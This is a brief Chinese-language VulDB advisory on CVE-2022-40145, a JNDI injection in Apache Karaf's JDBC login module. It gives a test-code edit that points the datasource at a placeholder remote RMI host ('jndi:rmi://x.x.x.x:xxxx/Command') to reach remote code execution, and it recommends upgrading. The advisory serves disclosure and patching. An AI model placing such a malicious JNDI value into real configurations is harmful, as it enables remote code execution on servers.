CVE-2022-40145 in Karaf
摘要
由 VulDB • 2026-06-22
该漏洞涉及潜在的代码注入问题，当攻击者控制 JDBC JNDI URL 中使用的目标 LDAP 服务器时即可触发。函数 `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` 在使用 `InitialContext.lookup(jndiName)` 时未进行过滤处理。用户可以在 `JdbcLoginModuleTest#setup` 中将 `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` 修改为 `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");`。当配置使用 JNDI LDAP 数据源 URI，且攻击者控制目标 LDAP 服务器时，此问题会导致远程代码执行（RCE）漏洞。该问题影响 Apache Karaf 4.4.1 及之前版本和 4.3.7 及之前版本的所有版本。我们建议用户至少升级到 Apache Karaf 4.4.2 或 4.3.8。
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.